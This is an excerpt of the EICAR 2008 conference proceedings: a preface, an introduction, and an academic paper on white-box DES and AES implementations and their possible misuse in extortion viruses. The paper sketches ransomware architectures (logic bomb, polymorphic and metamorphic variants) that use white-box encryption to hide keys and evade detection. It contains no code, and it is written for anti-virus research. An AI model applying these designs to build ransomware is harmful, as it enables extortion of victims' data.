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Preface  
EICAR2008 is the 17th Annual EICAR Conference. This Conference (held from 3rd May to 6th May 
2008) at the conference centre “Les Ondines” in Laval, France brings together experts from 
industry, government, military, law enforcement, academia, research and end-users to examine and 
discuss new research, development and commercialisation in anti-virus, malware, computer and 
network security and e-forensics.  

Despite the cancellation of the EICAR 2007 conference, academic papers were nonetheless 
published and thus they received the best international interest of experts in the field. The 
continuing success of EICAR still bears witness to the recognition amongst participants of the 
importance and benefit of encouraging interaction and collaboration between industry and academic 
experts from within the public and private sectors. As digital technologies become ever-more 
pervasive in society and reliance on digital information grows, the need for better integrated socio-
technical solutions has become even more challenging and important.  

This year EICAR2008 has again seen a significant increase in both the quality and quantity of 
papers. The program committee was particularly pleased with increased interest amongst students. 
This made the conference committee’s task of paper acceptance hard but enjoyable. To maximise 
interaction and collaboration amongst participants, two types of conference submissions were 
invited and subsequently selected – industry and research/academic papers. These papers were then 
organised according to topic area to ensure a strong mix of academic and industry papers in each 
session of the conference. 

Research academic papers presented in these proceedings were selected after a rigorous blind 
review process organised by the program committee. Each submitted paper was reviewed by at least 
three members of the program committee with approximately one half of all submitted papers 
rejected. In particular, the committee was pleased with the quality and high acceptance rate of 
student papers. This is the proof that a new research community in computer virology is going to 
arise and make this field progress to face up challenges of the future. The quality of accepted papers 
was excellent and the organising committee is proud to announce that authors of several papers 
have already been invited to submit revised manuscripts for publication in a number of major 
research journals. 

Industry (non academic) papers have also been included this year in the EICAR proceedings, for the 
first time. The exceptional quality of those papers made this mandatory. Some of those papers could 
have been considered as academic papers, despite the initial choice of their authors. They will be 
considered for publication in research journals as well. But the main interesting point lies in the fact 
that more than previously, industry is going to increase the technical level of his contribution rather 
to consider more popular or marketing aspects of computer virology. This is a strong hope to see 
industry working more closely with academic researchers for a better future against malware. 

From the papers submitted and accepted for this year’s conference there is strong evidence to 
support the view that the EICAR conference is growing in its international reputation as a forum for 
the sharing of information, insights and knowledge both in its traditional domains of malware and 
computer viruses and also increasingly in critical infrastructure protection, intrusion detection and 
prevention and legal, privacy and social issues related to computer security and e-forensics. EICAR 
is now the European Expert Group for IT-Security not only according to its new corporate image, 
but also according to the content of the conference. 
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Introduction  
This year EICAR celebrates in style its 17th Annual Conference (from 3rd May to 6th  May) at the 
conference center ‘Les Ondines’, Laval, France. It is very pleasing to be able to highlight how this 
year’s Conference bears witness to the way that EICAR is reviving to face the future challenges of 
the everevolving technology up. More significantly, it is a credit to the efforts of the program 
committee  that EICAR has developed such a strong International reputation as one of the few high 
quality conferences able to successfully bridge industry, government and academia.  

As this year’s conference program and delegate list illustrates EICAR is continuing to attract a 
diverse range of experts engaged in new research, development and commercialisation in anti-virus, 
malware, computer & network security, and e-forensics. This year’s conference theme ‘IT Security 
is facing a paradigm shift – New threats and more subtle methods of attack require different 
approaches and solutions’ draws our attention to the issues arising from the reality of an ‘anytime, 
anywhere web’ and with a more and more invisible enemy. In this context, it can be argued that 
there is an even stronger need for open forums where vigorous and rigorous interaction can occur 
amongst representatives from industry, government, military, law enforcement, academia, research 
and end-users. These proceedings are an excellent example of this diversity and clearly reveal the 
challenges arising from the convergence and clash of different streams of research, development 
and commercialisation.  With papers addressing high level technical and scientific issues arising in 
the era of an evergrowing, omnipresent technology it is evident that the on-going challenges of how 
to effectively balance the requirements for theory and techniques, understanding and action 
remains. This the key for surviving to our dramatic dependance to technology and live with its 
inherent risks. 

Please enjoy the papers published in these proceedings and we look forward to meeting you in the 
near future. We would also like to take this opportunity to actively encourage you to communicate 
and forge collaborations with EICAR. We look forward to your on-going participation in the 
EICAR conference and thank you for your contribution to its success.  

 

Eric Filiol and Vlasti Broucek 

Email: [efiliol@esat.terre.defense.gouv.fr], [Vlasti.Broucek@utas.edu.au] 
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White-Box Attack Context Cryptovirology

Abstract
This paper presents the use of cryptographic mechanisms that are suited to
the white box attack context (the attacker is supposed to have full control of
the target program's execution environment) and as we will demonstrate, to
a viral context. Use of symmetric and asymmetric cryptography by viruses
has been popularized by polymorphic viruses and cryptoviruses. The latter
are specialized in extorsion. New cryptographic mechanisms, corresponding
to a particular implementation of traditional (black box) cryptography have
been recently designed to ensure the deep protection of legitimate applications.
These mechanisms can be misappropriated and used for the purpose of doing
extorsion. We evaluate these new cryptographic primitives and discuss their
(mis)use in a viral context.

Introduction
We have observed for several years the use of specialized software protection
applications by virus authors, with the aim of resisting reverse engineering
more e�ciently. The problem of content protection has triggered an impor-
tant academic research in the �eld of software protection, under the hypoth-
esis that an attacker and a legitimate end user of the protected software
may be one and the same person. New software protection mechanisms and
complete suites allow content providers to take drastic measures in order to
secure their applications in depth.
In the same way virus designers have used specialized tools, such as packers,
in order to reinforce virus protection, we believe that other more elaborated
tools, such as specialized compilation chains, dedicated to in depth protec-
tion of DRM applications, can be misappropriated and used for the purpose
of strenghten virus protection.
Among mechanisms brought into play by those software protection suites,
several of them are of a cryptographic nature. In this paper, a novel use of
one of these cryptographic mechanisms in a viral context is presented. The
speci�c case of the design of a virus specialized in extorsion is examined. The
use of this kind of technology has to be taken into acount by the anti-virus
research community, in order to gain a broader vision of future viral threats.



Design and implementation of applications that are resilient againt reverse
engineering is both a crucial and di�cult problem for many applications,
especially when it is a matter of protecting proprietary algorithms and/or
protecting the rights control function conditioning access to whole or part of
its functionalities.
When the application to be protected cannot base its security on the use of
an hardware component, or on a network server, we must make the hypoth-
esis of an attacker able to execute the application in an environment that
he perfectly controls. The attacker model matching this situation, called
WBAC1 (White-Box Attack Context) in this paper, imposes a particular
software implementation of classical cryptographic primitives.
In this context, software protection lays on mechanisms covering several se-
curity objectives, among them the ability to control, in various execution
points:

• code, critical data and execution context integrity;

• proprietary algorithms con�dentiality;

• diversi�cation of software instances;

• software anchorage to a personnalized target execution platform, etc.

Viral context We can observe that malware not only have to be resilient
against reverse engineering, they also have to evade detection. In the re-
mainder of this paper, we will take an interest in the use of cryptographic
mechanisms by a virus in WBAC context along with this additional con-
straint.

The remainder of this paper is organized as follows: section recalls fun-
damental theoretical results concerning obfuscation as a virtual black-box

1It should be noticed that WBAC context is the most restricting for software designers,
insofar as a mechanism that is white box resiliant must also be resiliant against black box
(BBAC - Black Box Attack Context) and gray box (GBAC - Gray Box Attack Context) at-
tacks. The BBAC context is the most classical in cryptography: the attacker does not have
access to information related to the implementation. The GBAC corresponds to logical
attacks exploiting information that leaks from the hardware (power consumption, instruc-
tion's execution time or certain CPU operations, such as cache setting, electromagnetic
radiation, sound/noise spectrum, etc.). The attacker only has access to partial informa-
tion about the implementation. This information is obtained by physical phenomenon's
modelisation.



property. Section presents the problem related to the use of cryptography
by a virus for the purpose of doing extorsion and section gives examples
of (mis)use of white box cryptography. In this section is also presented the
need for a cryptographic mechanism adapted to the WBAC context. Sec-
tion presents principles of the white box implementation of two algorithms:
DES and AES. Section discusses the robustness of these algorithms against
cryptanalysis. Section concludes on the use that could be made of this type
of technology by tomorrow's cryptoviruses and on the countermeasures and
limitations of this technology.

Theoretical background
We will focus in this paper on cryptographic mechanisms tailor-made to
ensure con�dentiality of a secret key within an algorithm. Such a transfor-
mation (hiding a key in an encryption algorithm, with or without the help
of environment interaction) can be formalized as an obfuscation transforma-
tion. We recall in this section some negative and positive results concerning
code obfuscation, and their impact on this key management problem.

Ideal obfuscator
Let us denote Π a set of programs and PPT the set of polynomial time
probabilistic Turing machines. An obfuscator can be formally de�ned as
follows (Barak, Goldreich, Impagliazzo, Rudich, Sahai, Vadhan, & Yang,
2001):

De�nition 1 A probabilistic algorithm O is an obfuscator if it satis�es the
following properties:

1. ∀P ∈ Π, P and O(P ) compute the same function;

2. ∀P ∈ Π, growing of execution time and space of O(P ) is at most poly-
nomial as regards to execution time and space of program P ;

3. ∀A ∈ PPT, ∃S ∈ PPT such as:

∀P ∈ Π, p[A(O(P ) = 1] w p[SP (1|P |) = 1].



Equality p[A(O(P ) = 1] = p[SP (1|P |) = 1] is true up to a negligible2 function
µ of the program size |P |. The last property, called virtual black box property,
can thus also be written: ∀A ∈ PPT, ∃S ∈ PPT and ∃ a negligible function µ
such as:

∀P ∈ Π, |p[A(O(P )) = 1]− p[SP (1|P |) = 1]| ≤ µ(|P |).
This property stipulate that the obfuscated version O(P ) is perfectly unas-
sailable, insofar as we cannot expect to learn more by reverse engineering
O(P ) than by the simple observation of its inputs/outputs.
It can be noticed �rst that the reverse engineering action is formalized as a
predicate computation. We are thus taking into consideration the weakest
requirement with regards to what can be calculated from O(P ). The attacker
is trying to decide a given property of program P .
The virtual black box property expresses the fact that the outputs distri-
bution of any probabilistic analysis algorithm A applied to the obfuscated
program O(P ) is almost everywhere equal to the outputs distribution of a
simulator S making oracle access to program P (program S does not have
access to the description of program P , but for any entry x, it is given access
to P (x) in polynomial time as regard to the size of P . An oracle access to
program P is equivalent to an access to sole inputs/outputs of the program
P ). Intuitively, the virtual black box property simply stipulates that every-
thing that can be calculated from the obfuscated version O(P ) can also be
calculated via oracle access to P .

Such a generic compiler does not exist. The proof is based on the con-
struction of a program that cannot be obfuscated.

This impossibility result demonstrates that a virtual black box generator
- which could be able to protect the code of any program by preventing it
to reveal more information than it is revealed by its inputs/outputs - does
not exist. This impossibility result naturaly leads to important outcomes
for designers of obfuscation mechanisms adapted to WBAC context. Let us
consider a practical application of obfuscation that consists in transforming
a symmetric encryption into an asymmetric encryption, by obfuscating the
private key encryption scheme.

2 A function µ : N → N is said negligible if for all polynomial π ≥ 0, ∃N ∈
N such that ∀n ≥ N, µ(n) ≤ 1/π(n). A negligible function is thus a function that grows
much slower than the inverse of any polynomial.



A private key encryption scheme (G,E, D) (where G is the key generation
algorithm, E the encryption algorithm and D the decryption algorithm) is
said unobfuscatable if there exist A ∈ PPT and a negligible function µ such
as:

p
K

R←Fk
2

[A(ẼK) = K] ≥ 1− µ(k)

where ẼK is any circuit computing the encryption function with the key K

(and K
R← Fk

2 refers to a random variable uniformly ditributed over Fk
2). An

attacker is thus able, given any circuit calculating the encryption function,
to recover key K. Unobfuscatable private key encryption scheme does exist
if private key encryption scheme does. This result clearly states that all pri-
vate key encryption scheme are not well suited for obfuscation. However, it
should be noticed that this result does not prove that there does not exist
some private key encryption scheme such that we can give to the attacker a
circuit calculating the encryption algorithm without security loss. It proves
however that there is not a general method enabling to transform any private
key encryption scheme into a public key encryption system by obfuscating
the encryption algorithm.

The problem of the construction of a private key encryption scheme veri-
fying the virtual black box property (thus resilient in the WBAC context) is
so an open problem, even if the impossibility result concerning a generic way
to manage it may seem discouraging for the security designer. As we will see
in section , obfuscation by using a network of encoded lookup tables makes
it possible to obtain from DES and AES algorithms versions that are more
resilient in white box. However, e�ective cryptanalysis of DES and AES
white box implementations establish that the problem of the construction
of a private key encryption scheme verifying the virtual black box property
remains complete.

The ideal model of an obfuscator enabling to transform any program into
a virtual black box cannot be implemented. In particular, there is not any
general transformation that enables, starting from an encryption algorithm
and a key, to obtain an obfuscated version of this algorithm that could be
published without leaking information about the key it contains. However,
this formalism does not establish that it is impossible to drown a key in an
algorithm in order to transform a private key algorithm into public key en-
cryption. We set out to apprehend this problem in practice, by evaluating



the most relevant practical propositions in this research �eld.

Notes on less restrictive obfuscator models
Several attempts have been made to relax the ideal model of obfuscator,
in order to obtain positive results for obfuscation. It is possible to modify
the virtual black box property in order to make it less unattainable. We
can notably quote the τ -obfuscation (Beaucamps & Filiol, 2006), where the
idea is not to search for perfect obfuscation, but rather for an e�cient re-
silience at least for a certain time to deobfuscation transformations. More
precisely, a τ -obfuscator satis�es the modi�ed virtual black box property:
∀A ∈ PPT, ∃S ∈ PPT such as:

∀P ∈ Π, p[A(O(P ), 1τ×t(O(P ))) = 1] w p[SP (1|P |) = 1].

This property states that any result that can be computed in less than
τ × t(O(P )) - where t(O(P )) is the time needed to obfuscate P - is ac-
tually computable from an oracle program of P . Even if it seems that it is
technically possible to implement the τ -obfuscation concept, the existence of
τ -obfuscator remains an open problem.

It is also possible to express the characteristic properties of the ideal ob-
fuscator in a less restrictive model. The random oracle model has been used
to rede�ne the obfuscator notion and to obtain positive results of obfusca-
tion. It is indeed possible to build a class of functions that are obfuscatable in
this model: the point functions, namely the boolean functions 1α : Fk

2 → F
de�ned as follows: 1α(x) = 1 if x = α, 0 otherwise. For random oracles
R : F∗2 → F2k

2 , the obfuscator OR transforms the program 1α into the pro-
gram OR(1α) de�ned as follows: ∀x ∈ Fk

2, OR(1α)(x) = 1 if R = R(α), 0
otherwise. In other terms, in this model, the most classic method to conceal
a password (storage of hash value r = R(α)) can be seen as obfuscation of a
point function.
In the same way, the environmental key generation mechanism (see section
) leads to a true obfuscation of the key in the random oracle model.

Problem of implementation of the random oracle model we expect
that any protocol designed in this ideal model remains secure when imple-
mented by using a function easy to evaluate, such as a �xed hash function



f(k, .) : F∗2 → Fl(k)
2 in the place of the random oracle. It has been demon-

strated in (Canetti, Goldreich, & Halevi, 1998) that a system whose security
lays on the correlation intractability of its random oracle can be secure in the
random oracle model but does not remain secure anymore when implemented
using a function or a functions set.

Theorem 0.1 (Non-secure implementation of the random oracle (Canetti et
al., 1998). There exist encryption (and signature) schemes that are secure in
the random oracle model, but do not have any secure implementation by func-
tions sets. Moreover, each of these schemes possesses a generic attacker that,
knowing the description of an implementation, is able to break the scheme
that uses this implementation.

It should be noticed that this theorem con�rms the result of Barak & al.
When we try to modelize the reverse engineering action, we cannot assume
that the only thing an attacker can do with the description of the oracle
implementation is to invoke it on the entries of his choice: we shall not
ignore that as it is usual in complexity theory, whole or part of the program
code can be given as an entry to the program itself, and thus that disposing
of the description of a function is far more powerful than having a black box
access to this function.
The result of Barak & al. is furthermore complementary, insofar as it proves
that a natural method3 making it possible to obtain appropriate functions
sets does not permit to obtain a secure implementation whatever the secure
protocole in the random oracle model that is considered.

Use of cryptography by a virus for the purpose
of doing extorsion
The study of viral mechanisms for the purpose of doing extorsion has been
called cryptovirology (Young & Yung, 2004). After a virus has triggered its
�nal charge, the e�ects on the target system can be irreversible for the victim
but not for the virus author. The latter can therefore extort money from the

3 The method consists in applying a transformation (which modi�es the code of a
program without altering its functionalities) to a set of pseudo-random functions, namely
a set of functions that cannot be distinguished from a random oracle when given only
oracle access to these functions.



victim in exchange for a way to restore its data. A �rst virus of this type was
observed in 1989 (trojan horse AIDS). It used a simple substitution cipher.

Use of symmetric/asymmetric cryptography
Use of asymmetric cryptography makes it possible for a virus to avoid car-
rying a decryption key that can be captured. The victim's data are en-
crypted using the public component Kpub of an asymmetric couple of keys
(Kpub, Kpriv). The virus author gives the private component Kpriv in ex-
change for money.
The drawback of asymmetric cryptography is its slowness.
A �rst solution to this problem consists in encrypting only certain �les (trojan
horse PGPCoder). A second solution consists in randomly generating a key
K and then in using a symmetric encryption algorithm EK more e�cient in
order to encrypt the victim's data. The virus next encrypts the key K with
the public component Kpub of an asymmetric couple of keys (Kpub, Kpriv).
The victim must transmit Kpub[K] and the extorted amount of money to the
virus author. The latter can then send the key K to the victim, enabling
him to restore its data without revealing the private key.
We can thus see that both use of symmetric and asymmetric cryptography
make it possible to design cryptographic viruses specialized in extorsion.

Key management by environmental generation
Cryptography can be used to solve other problems that cryptographic viruses
must face: key management and polymorphism.
If sole use of asymmetric cryptography solves the problem of key manage-
ment, its main limitations are its slowness and its lack of discretion as regard
to detection of its encryption function.
Both uses of asymmetric and symmetric cryptography beg the residual prob-
lem of key management: the key is �rst generated on the target platform,
next written into a �le. Traces may subsist in memory, enabling a specialized
company to �nd back the key K. Moreover, laboratory study of virus allows
to develop a virus detection procedure for random generation and encryption
functions.

Environmental key generation (Riordan & Schneier, 1998; Filiol, 2004; Filiol,



2006) speci�cally addresses the problem of key management and supplies a
solution in the instance of directed viruses, namely viruses designed to exe-
cute only on a target platform possessing features already known from the
virus author. Environmental key generation is a mechanism that avoid stor-
ing the key in the executable. The key is generated by application of a hash
function to activation data existing in the software's execution environment.
Let X be an integer corresponding to this environmental observation, Y the
value needed for activation (and carried by the program), h a hash function
and R1, R2 two nonces. Then possible constructions, among many others,
are (Riordan & Schneier, 1998):

let key K = X where the test is: does Y = h(X)? ;

let key K = h(X) where the test is: does Y = h2(X) = h ◦ h(X)? ;

let key K = h(X1, . . . , Xn) where the test is: does h(Xn) = Y ? ;

let key K = h(R1, X)⊕R2 where the test is: does Y = h(X)?

The most important feature of each construction is that knowledge of Y does
not provide knowledge of K.
Drawn from this principle, environmental code generation (Aycock, deGraaf
& Jacobson, 2005) is a mechanism that enables to dynamically generate
code, starting from activation data existing in the software's execution envi-
ronment.
At the time of software protection, an instructions block I is deleted. Given
a key K and a hash function h, a value S is brute force calculated such as
the equation h(K||S) = I is satis�ed.
At the time of software execution, the key K is generated by application of
a hash function to activation data existing in the software's execution envi-
ronment. The instructions block I is then generated by h(K||S) = I.
At the time of static code analysis (or dynamic analysis in an environment
that does not possess the same properties as the target environment), the
analyst knows S and the K values domain. He does not know the generated
code. In order to recover the code chunck, the attacker must cover the whole
key space and for each value, test the generated code. According to the gen-
erated code (semantic) nature, this brute force attack can be very di�cult
to bring to fruition.



A critical analysis of these mechanisms has been developed in (Filiol, 2006).
Observe also that at the time of dynamic analysis of the code in the target
environment, the attacker can recover the key K and the related code.

Key management and diversi�cation through white box
cryptography
White box cryptography looks for a particular implementation of encryp-
tion algorithms in order to increase the security of key management. White
box symmetric encryption algorithms aim at assuring keys con�dentiality in
the WBAC context. These implementations put forward an intrinsic mech-
anism for instances diversi�cation, making it possible plentiful polymorphic
versions of the encryption function. The implementation reduces the code
portion to its simplest terms, banishing from assembler code any classical
arithmetical operation. Such a code is far easier to diversify by using a poly-
morphism/mutator engine. A speci�c implementation of an iterated block
cipher algorithm enables to obtain several crucial properties for an encryption
function used by a cryptographic virus: a key management mode adapted to
the WBAC context, an asymmetrication of a symmetric algorithm, a diver-
si�cation of the algorithm data (algorithm code must be diversi�ed by using
a mutator engine). We will see however that the code uses only a reduced
portion of the CPU instructions set, and that it thus goes along easier with
diversi�cation by using a mutator engine.

• Key concealing in the algorithm: it is di�cult to recover the key, given
encryption algorithm's code (or given decryption code);

• Algorithm asymmetrication: it is di�cult to forge the encryption algo-
rithm starting from the decryption algorithm (and inversely);

• Algorithm code and data diversi�cation: it is di�cult to forge a signa-
ture given the algorithm code, because it only uses non-arithmetical
instructions and thus instances (code and data) can be very diversi�ed;

• Execution time/memory space trade-o�: execution time, even if more
consequential than the execution time of black box algorithm (storage
space of lookup tables is not negligible and imposes a memory load
time before execution), remains far lower than the execution time of



an asymmetric encryption algorithm.

This kind of mechanism �nds a place on the side of other key management
cryptographic primitives (environmental key generation by using hash func-
tions, symmetric/asymmetric cryptography) usable by a virus for the purpose
of doing extorsion.

Examples of use in a viral context
White box integrity checking
Before presenting examples of viruses using white box cryptography for the
purpose of doing extorsion, it is interesting to present the use that is done
by the specialized compilation chain CSS (Cloakware Security Suite, 2007).
The white box integrity checking function comprises:

• a �rst part implementing the hash function H and the white box de-
cryption algorithm WBDK ;

• a hashes storage area WBEK [H(BODY)], called Voucher.

White box integrity checking corresponds to the following test:

H(BODY)==WBDK [WBEK [H(BODY)]]? OK : KO

Because it is di�cult to recover the key K or to rebuild the encryption func-
tion WBEK starting from the analysis (in WBAC context) of the decryption
function WBDK , the attacker is not in a position to substitute new hashes
to the values stored in the Voucher, which would have allowed him to use
the modi�ed application without constraint.
Observe that the veri�cation function must be protected against dynamic
analysis.

Logic bomb
A �rst elementary example of malware using white box cryptography for the
purpose of doing extorsion comprises (in addition to benign code portions



and a possible trigger condition) a part WBEK implementing the white box
encryption algorithm and whose mission is to encrypt whole or part of the
victim's data. The victim is not able to recover the key K by using a WBAC
analysis of the function WBEK . Conjugated use of a mutator engine MUT
and a random bijection generator RNG make it possible to create a huge
number of versions of this program, for a unique key setting K.

As stated in the introduction, in the viral context, a mutator, namely a poly-
morphic engine must reinforce both the diversity and the resilience against
pattern recognition. Both polymorphism (Qozah, 1999) and metamorphism
(Filiol, 2007) can be formalized as grammar productions. The di�culty to
recognize a virus corresponds to the required expressiveness of the machine
or automaton that is able to recognize the langage L(G) generated by the
grammar G by applying its production rules (see table 1).
When he �rst formalized generative grammars in 1956 (Chomsky, 1956),
Chomsky gave the following classi�cation:

• type 0 grammars (unrestricted grammars), produce recursively enu-
merable languages, namely languages that can be recognized by Turing
machines. Thus their productions simulate Turing machines. Conse-
quently, deciding whether x ∈ L(G) or not reduces the Halting problem
;

• type 1 grammars (context-sentitive grammars) or type 2 grammars
(context-free grammars), produce languages that can be recognized by
non deterministic �nite automata ;

• type 3 grammars (regular grammars) produce languages that can be
recognized by deterministic �nite automata.

Thus the generative grammar type is crucial while designing a polymorphic
engine. This point will be discuss in more details in section

Polymorphic virus
Another elementary exemple of a virus (polymorphic virus) using white box
cryptography consists of



Grammar type Complexity
type 0 undecidable
type 1 NP
type 2 NP
type 3 P

Table 1: Complexity of the detection problem of a Grammar G production
L(G), namely the problem: does x belong to L(G)?

• a �rst part WBEK implementing the white box encryption algorithm ;

• a second part WBDK(RNG||MUT) comprising a random bijections
generator RNG and a mutator engine MUT, both encrypted by us-
ing decryption algorithm WBDK .

The �rst part WBEK of the viral program encrypts whole or part of the
victim's data, next it decrypts the second part of the virus. The execution
of the random bijections generator RNG and of the mutator engine MUT
results in the generation of the function couple (WBEK′ ,WBDK′). The key
K ′ is possibly transmited to the virus author (with information about the
target computer). The algorithm WBDK′ is used to encrypt RNG||MUT (or
MUT(RNG||MUT)). The new virus instance is WBEK′||WBDK′(RNG||MUT)
(or WBEK′||WBDK′(MUT(RNG||MUT))).

Metamorphic virus
Another example, without self-modifying code (metamorphic virus), consists
of:

• a �rst part WBEK implementing the white box encryption algorithm ;

• a second part RNG||MUT comprising the random bijections generator
RNG and the mutator engine MUT.

The �rst part WBEK of the viral program encrypts whole or part of the
victim's data. The execution of the random bijections generator RNG and of



the mutator engine MUT results in the generation of the function WBEK′ .
The key K ′ is possibly transmited to the virus author (with information about
the target computer). The new virus instance is WBEK′||MUT(RNG||MUT).

Comments
Diversi�cation of the WBAC mechanism

The encryption or decryption primitive does not need to be protected by
mechanisms bound to hamper dynamic analysis, insofar as a single step ex-
amination of the execution (context examination at each step of the exe-
cution) does not provide information about the key. However, code diver-
si�cation is required in order to make the signature of the virus di�cult.
Performed operations are not arithmetical, instead they involve lookup ta-
bles runs. Lookup tables are diversi�ed because of their design. However,
it should be noticed that we must face the problem of diversi�cation of the
random bijections generator RNG, the mutator engine MUT and the CPU
instructions required to go through a lookup tables network. This problem
is discussed in section .

Comparison with the hybrid symmetric/asymmetric method

The strong points of white box cryptography with respect to joint use of
symmetric and asymmetric cryptography as proposed in (Young & Yung,
2004) are:

• we can avoid using asymmetric cryptography,

• the cipher diversi�cation mechanism is intrinsic,

• the code is easier to obfuscate because it does not contain any arith-
metical calculation.

Comparison with environmental key generation

The strong point of white box cryptography with respect to environmental
key generation is that the virus preserves its freedom. It is not directed to a
speci�c platform and does not closely depend on a speci�c environment.



As compared with the two mentioned mechanisms, the drawback of this
mechanism is that it is not yet as robust against cryptanalysis, as we will see
in section .

DES and AES white box implementations
We present in this section the principles of the white box implementation of
two well known algorithms: DES and AES.

WB-DES implementation
A method has been published in (Chow, Eisen, Johnson, & van Oorschot,
2002a) to make the extraction of the key di�cult in the white box context.
The principle is to implement a specialized version of the DES algorithm that
embed the key K, and which is able to do only one of the two operations
encrypt or decrypt. This implementation is resilient in a white box context
because it is di�cult to extract the key K by observing the operations car-
ried out by the program and because it is di�cult to forge the decryption
function starting from the implementation of the encryption function, and
inversely.

The main idea is to express the algorithm as a sequence (or a network) of
lookup tables, and to obfuscate these tables by encoding their input/output.

All the operations of the block cipher, such as the addition modulo 2 of
the round key, are embedded in these lookup tables. These tables are ran-
domized, in order to obfuscate their functioning. The representation of DES
as a sequence of lookup tables requires to group together the transformations
made along the 16 rounds in a di�erent way. Figure 1 shows these boundary
changes. Each round of the DES is cut in two layers. The �rst one is said to
be non-linear and contains the S-Boxes, whereas the other one is said to be
linear and gathers together the linear operations such as the expansion, the
xor operation and the permutation. Inputs of this new representation are
now 96-bits binary words. Three variables are introduced: Xr−1, Rr−1 and
Yr.

• Xr−1 represents the output of expansion, a 48 bits word ;



• Rr−1 represents the 16 bits of Rr−1 that are not splitted by the expan-
sion. ;

• Yr represents the concatenation of the S-Boxes ouputs, a 32 bits binary
word.

Figure 1: One round of DES and its white box equivalent

It should be noticed that it is thus possible to untie the Feistel scheme of
DES and to implement it as a substitution/permutation scheme4, as it is the
case of AES.

The technique used to embed these keys is to represent DES as a network
of lookup tables, and to apply input/output encodings in order to hide the
keys. Using input/output encodings make each lookup table localy secure5:
it is not possible to extract any information, in particular the embedded key.

4 More precisely, each DES round is splited into a non-linear substitution step, bringing
into play the S-Boxes, and a linear a�ne step.

5 The lookup tables are randomized, in order to obfuscate their internal works: the
input/output of these lookup tables are encoded by random bijections. The use of this



Thus the main idea of this obfuscation method is to be able to represent the
whole DES as a unique lookup table that is localy secure, namely from which
it is not possible to extract any information. Unfortunately it is not possible
because the representation of a vector boolean function Fn

2 → Fn
2 requires an

important memory space (exponential in the size of the input, namely the
parameter n makes the memory space to rocket - see table 2). In order to

n (lookup table memory space
Fn

2 → Fn
2 ) n.2n/8 (bytes)

8 256 Bytes
16 128 KB
24 48 MB
32 16 GB

Table 2: memory space required for lookup tables storage

take into consideration this constraint, smaller lookup tables are used. After
having implemented the whole DES as lookup tables, the implementation
is still not secure. The next stage aims at encoding these lookup tables, in
order to prevent any information leakage about the round keys. The tech-
nique involves composing the T-Box with non linear bijections in input and
in output. Given two random bijections f and g (compatible with T ), the
T-Box is replaced with:

f ◦ T ◦ g.

Given three adjacent lookup tables L1, L2 and L3 and f and g the input and
output encodings applied to L2, table L2 is replaced with its encoded version
L′2 = f ◦ L2 ◦ g. It is thus required to encode the output of L1 with g−1 and
the input of L3 with f−1 insofar as:

L3 ◦ f−1 ◦ L′2 ◦ g−1 ◦ L1 = L3 ◦ L2 ◦ L1.

Because we need the local security property to be useful in our context,
it is also required that the attacker should not be able to distinguish the
encoding ensure a local security, namely the lookup table g ◦T ◦f−1 encoded by bijections
f and g does not provide any information about the original lookup table T . Given any
lookup table T ′, there exists always two bijections f ′ and g′ such that g′ ◦ T ′ ◦ f ′−1 =
g ◦T ◦f−1 (for example f ′ = f ◦T−1 and g′ = g ◦T ′−1). This local security is evaluated by
an ambiguity measure, which expresses the di�culty that an attacker trying to suppress
these parasit encodings must face (see section for a de�nition of the ambiguity measure).



non-linear T-Box (embedding a S-Box) from the bypass tables. A random
permutation πr must thus be applied on the order of the TKr

i , i = 1, . . . , 12.
From now on, the local analysis of the TKr

πr(i) requires (12!)16 attempts.

At this stage of the obfuscation, inputs of �rst round's lookup tables are
still exposed to a square-like attack (Chow, Eisen, Johnson, & van Oorschot,
2002b). Thus two external encodings F and G are integrated.

In summary, we were able to implement the whole DES algorithm as en-
coded lookup tables, in such a way that it seems di�cult to extract any piece
of information from any lookup table, by observing its input/output only.

WB-AES implementation
Obfuscation of AES (Chow et al., 2002b) is done in a similar way as for
DES. The goal is still to embed the round keys in algorithm code, in order
to avoid storage of the key in static memory or its load in dynamic memory
at the time of execution. The technique used to securely embed these keys
is (as for DES) to represent AES as a network of lookup tables, and to apply
input/output encodings in order to hide the keys.
Let us remember that AES starts with an initial AddRoundKey step and
each further round of AES consists of four steps: SubBytes, ShiftRows, Mix-
Columns and AddRoundKey for rounds r = 1, . . . , 9 and three steps Sub-
Bytes, ShiftRows and AddRoundKey for round r = 10. In the white box
implementation, this structure is reworked so that the initial AddRoundKey
is part of a round. More precisely, if S is the S-Box that carries out the
SubBytes operation, and (kr

i,j)(i,j)∈{0,...,3)2 the key of round r, then we �rst
build the 10 T-Boxes:

T r
i,j(x) =

{
S(x⊕ kr

i,j), 1 ≤ r ≤ 9
S(x⊕ k10

i,j)⊕ k11
i,j−i.

Observe that because of the linearity of the ShiftRows operation, it is possible
to integrate the last AddRoundKey operation in a T-Box.
The next step for AES obfuscation is to represent Mixcolumns as a network
of lookup tables. The T-Box is then replaced with the composition of the T-
Box with the lookup table representing both the ShiftRows and MixColumns
operations.
The technique used to encode the lookup tables is the same one as for DES



obfuscation, namely to compose the T-Box with non linear bijections in input
and in output. In order to thwart a square-like attack, it is required to
reinforce the local security of the T-Box by using mixing bijections, namely
linear bijections, in order to insert a di�usion step. Given two linear bijections
m and M compatible with the preceding and succeding operations, the T-Box
is now replaced with:

f ◦M ◦MCi ◦ T ◦m ◦ g.

Insertion of such mixing bijections m and M requires their cancelling by new
lookup tables. Thus a new lookup table in inserted between rounds r and
r + 1. The latter cancels both the mixing bijection M of round r and the
mixing bijection m of round r + 1. We obtain the following additional com-
position: g−1

r+1 ◦m−1 ◦M−1 ◦ f−1
r .

At this stage of the obfuscation, inputs of �rst round's lookup tables are still
exposed to a square-like attack. Thus two external encodings F and G are
integrated.

In summary, we were able to implement the whole AES as encoded lookup
tables, in such a way that it seems di�cult to extract any piece of informa-
tion from any lookup table by observing its input/output only. In order to
fully implement the white box AES, we need four types of lookup tables:

type I External encoding, namely a function F8
2 → F128

2 that composes two
input decodings F4

2 → F4
2, a linear bijection component F8

2 → F128
2 and

32 output encodings F4
2 → F4

2;

type II R-Box, namely a function F8
2 → F32

2 that composes two input decodings
F4

2 → F4
2, a mixing bijection m : F8

2 → F8
2, a T -Box, the mixcolums

operation, a mixing bijection M : F32
2 → F32

2 and eight output encodings
F4

2 → F4
2;

type III a function F8
2 → F32

2 that composes a mixing bijection component M−1
i :

F8
2 → F32

2 , four times a mixing bijection m−1 : F8
2 → F8

2 and eight output
encodings F4

2 → F4
2;

type IV XOR-Box, namely function F8
2 → F4

2 that composes two input decod-
ings F4

2 → F4
2, a XOR lookup table and an output encoding F4

2 → F4
2.



Evaluation
